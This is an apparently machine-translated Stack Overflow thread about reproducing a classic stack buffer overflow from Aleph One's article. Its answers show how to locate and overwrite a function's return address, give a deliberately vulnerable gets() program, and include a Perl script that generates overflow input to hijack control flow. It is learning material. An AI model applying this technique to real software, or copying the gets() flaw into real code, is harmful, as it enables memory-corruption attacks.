【问题标题】:Trying to smash the stack试图粉碎堆栈
【发布时间】:2013-05-27 01:15:16
【问题描述】:

我正在尝试重现我从 Aleph One 的文章“为了乐趣和利润而粉碎堆栈”中读到的 stackoverflow 结果(可以在此处找到:http://insecure.org/stf/smashstack.html)。

尝试覆盖退货地址似乎对我不起作用。

C 代码:

            void function(int a, int b, int c) {
               char buffer1[5];
               char buffer2[10];
               int *ret;
               //Trying to overwrite return address
               ret = buffer1 + 12;
               (*ret) = 0x4005da;
            }

            void main() {
              int x;

              x = 0;
              function(1,2,3);
              x = 1;
              printf("%d\n",x);
            }

拆开的主:

            (gdb) disassemble main
            Dump of assembler code for function main:
               0x00000000004005b0 <+0>:     push   %rbp
               0x00000000004005b1 <+1>:     mov    %rsp,%rbp
               0x00000000004005b4 <+4>:     sub    $0x10,%rsp
               0x00000000004005b8 <+8>:     movl   $0x0,-0x4(%rbp)
               0x00000000004005bf <+15>:    mov    $0x3,%edx
               0x00000000004005c4 <+20>:    mov    $0x2,%esi
               0x00000000004005c9 <+25>:    mov    $0x1,%edi
               0x00000000004005ce <+30>:    callq  0x400564 <function>
               0x00000000004005d3 <+35>:    movl   $0x1,-0x4(%rbp)
               0x00000000004005da <+42>:    mov    -0x4(%rbp),%eax
               0x00000000004005dd <+45>:    mov    %eax,%esi
               0x00000000004005df <+47>:    mov    $0x4006dc,%edi
               0x00000000004005e4 <+52>:    mov    $0x0,%eax
               0x00000000004005e9 <+57>:    callq  0x400450 <printf@plt>
               0x00000000004005ee <+62>:    leaveq
               0x00000000004005ef <+63>:    retq
            End of assembler dump.

我已硬编码返回地址以跳过 x=1;代码行,我使用了反汇编程序中的硬编码值(地址:0x4005da)。此漏洞利用的目的是打印 0,但实际上打印的是 1。

我有一种非常强烈的感觉,“ret = buffer1 + 12;”不是返回地址的地址。如果是这种情况,我如何确定返回地址,gcc是否在返回地址和缓冲区之间分配了更多的内存。

【问题讨论】:

    标签: c gcc stack-overflow gnu exploit


    【解决方案1】:

    这是我不久前为朋友写的关于使用gets 执行缓冲区溢出攻击的指南。它详细介绍了如何获取返回地址以及如何使用它来覆盖旧地址:

    我们对堆栈的了解告诉我们,返回地址出现在您试图溢出的缓冲区之后的堆栈上。但是,返回地址出现在缓冲区之后多远取决于您使用的体系结构。为了确定这一点,首先编写一个简单的程序并检查程序集:

    C 代码:

    void function() 
    {
        char buffer[4];
    }
    
    int main() 
    {
        function();
    }
    

    大会(节略):

    function:
        pushl %ebp
        movl %esp, %ebp
        subl $16, %esp
        leave
        ret
    main:
        leal 4(%esp), %ecx
        andl $-16, %esp
        pushl -4(%ecx)
        pushl %ebp
        movl %esp, %ebp
        pushl %ecx
        call function
        ...
    

    您可以使用多种工具来检查汇编代码。首先,当然是 使用 gcc -S main.c 从 gcc 直接编译到汇编输出。这可能很难阅读,因为几乎没有提示什么代码对应于原始 C 代码。此外,还有许多难以筛选的样板代码。另一个需要考虑的工具是 gdbtui。使用 gdbtui 的好处是您可以在运行程序时检查汇编源代码,并在整个程序执行过程中手动检查堆栈。但是,它有一个陡峭的学习曲线。

    我最喜欢的装配检查程序是objdump。运行 objdump -dS a.out 会为程序集源提供原始 C 源代码的上下文。使用 objdump,在我的计算机上,返回地址与字符缓冲区的偏移量为 8 个字节。

    这个函数function 获取返回地址并将其递增7。该指令 原来指向的返回地址是7个字节长,所以加7使得返回地址在赋值后立即指向指令。

    在下面的示例中,我覆盖了返回地址以跳过指令x = 1

    简单的 C 程序:

    void function() 
    {
        char buffer[4];
        /* return address is 8 bytes beyond the start of the buffer */
        int *ret = buffer + 8;
        /* assignment instruction we want to skip is 7 bytes long */
        (*ret) += 7;
    }
    
    int main() 
    {
        int x = 0;
        function();
        x = 1;
        printf("%d\n",x);
    }
    

    主函数(80483af 处的 x = 1 为 7 个字节长):

    8048392: 8d4c2404       lea 0x4(%esp),%ecx
    8048396: 83e4f0         and $0xfffffff0,%esp
    8048399: ff71fc         pushl -0x4(%ecx)
    804839c: 55             push %ebp
    804839d: 89e5           mov %esp,%ebp
    804839f: 51             push %ecx
    80483a0: 83ec24         sub $0x24,%esp
    80483a3: c745f800000000 movl $0x0,-0x8(%ebp)
    80483aa: e8c5ffffff     call 8048374 <function>
    80483af: c745f801000000 movl $0x1,-0x8(%ebp)
    80483b6: 8b45f8         mov -0x8(%ebp),%eax
    80483b9: 89442404       mov %eax,0x4(%esp)
    80483bd: c70424a0840408 movl $0x80484a0,(%esp)
    80483c4: e80fffffff     call 80482d8 <printf@plt>
    80483c9: 83c424         add $0x24,%esp
    80483cc: 59             pop %ecx
    80483cd: 5d             pop %ebp
    

    我们知道返回地址在哪里,并且我们已经证明更改它会影响 运行的代码。缓冲区溢出可以通过使用gets 并输入正确的字符串来执行相同的操作,以便用新地址覆盖返回地址。

    在下面的新示例中,我们有一个函数function,它有一个使用gets 填充的缓冲区。我们还有一个永远不会被调用的函数uncalled。有了正确的输入,我们就可以运行 uncall 了。

    #include <stdio.h>
    #include <stdlib.h>
    
    void uncalled() 
    {
        puts("uh oh!");
        exit(1);
    }
    
    void function() 
    {
        char buffer[4];
        gets(buffer);
    }
    
    int main() 
    {
        function();
        puts("program secure");
    }
    

    要运行uncalled,请使用objdump 或类似方法检查可执行文件,以找到uncalled 的入口点地址。然后将地址附加到正确位置的输入缓冲区,以便覆盖旧的返回地址。如果您的计算机是 little-endian (x86, etc.) ,则需要交换地址的字节序。

    为了正确执行此操作,我在下面有一个简单的 perl 脚本,它生成的输入会导致缓冲区溢出,从而覆盖返回地址。它有两个参数,第一个是新的返回地址,第二个是从缓冲区开始到返回地址位置的距离(以字节为单位)。

    #!/usr/bin/perl
    print "x"x@ARGV[1];                                            # fill the buffer
    print scalar reverse pack "H*", substr("0"x8 . @ARGV[0] , -8); # swap endian of input
    print "\n";                                                    # new line to end gets
    

    【讨论】:

      【解决方案2】:

      您需要检查堆栈以确定buffer1+12 是否实际上是要修改的正确地址。这种东西不太便携。

      我可能还会在代码中放置一些引人注目的东西,以便您可以看到缓冲区相对于返回地址在堆栈上的位置:

      char buffer1[5] = "1111";
      char buffer2[10] = "2222";
      

      【讨论】:

        【解决方案3】:

        您可以通过打印堆栈来解决这个问题。添加如下代码:

        int* pESP;
        __asm mov pESP, esp
        

        __asm 指令是 Visual Studio 特定的。一旦你有了堆栈的地址,你就可以把它打印出来,看看里面有什么。请注意,当你做事或调用时,堆栈会发生变化,所以你必须一次保存整个内存块,首先将堆栈地址处的内存复制到数组中,然后打印出数组。

        您会发现各种与堆栈帧和各种运行时检查有关的垃圾。默认情况下,VS 会将保护代码放入堆栈中,以防止您正在尝试做的事情。如果您打印出“功能”的汇编列表,您将看到这一点。你需要设置一个编译器开关来关闭所有这些东西。

        【讨论】:

        • 我不能用这个方法,因为我用的是linux和GNU GCC。
        • @Mike,其实你可以使用方法,因为gcc也提供了内联asm。您只需将其转换为替代语法。
        【解决方案4】:

        作为其他答案中建议的方法的替代方法,您可以使用gdb 解决此类问题。为了使输出更易于阅读,我删除了 buffer2 变量,并将 buffer1 更改为 8 个字节,以便更加对齐。我们还将在 32 位中进行编译,以便更容易读取地址,并打开调试 (gcc -m32 -g)。

        void function(int a, int b, int c) {
           char buffer1[8];
           char *ret;
        

        让我们打印buffer1的地址:

        (gdb) print &buffer1
        $1 = (char (*)[8]) 0xbffffa40
        

        然后让我们打印一点过去,看看堆栈上有什么。

        (gdb) x/16x 0xbffffa40
        0xbffffa40: 0x00001000  0x00000000  0xfecf25c3  0x00000003
        0xbffffa50: 0x00000000  0xbffffb50  0xbffffa88  0x00001f3b
        0xbffffa60: 0x00000001  0x00000002  0x00000003  0x00000000
        0xbffffa70: 0x00000003  0x00000002  0x00000001  0x00001efc
        

        执行回溯以查看返回地址应指向的位置:

        (gdb) bt
        #0  function (a=1, b=2, c=3) at foo.c:18
        #1  0x00001f3b in main () at foo.c:26
        

        果然,它在 0xbffffa5b:

        (gdb) x/x 0xbffffa5b
        0xbffffa5b: 0x001f3bbf
        

        【讨论】:

          猜你喜欢
          • 1970-01-01
          • 2011-11-18
          • 1970-01-01
          • 1970-01-01
          • 2014-06-26
          • 1970-01-01
          • 1970-01-01
          • 2021-04-29
          相关资源
          最近更新 更多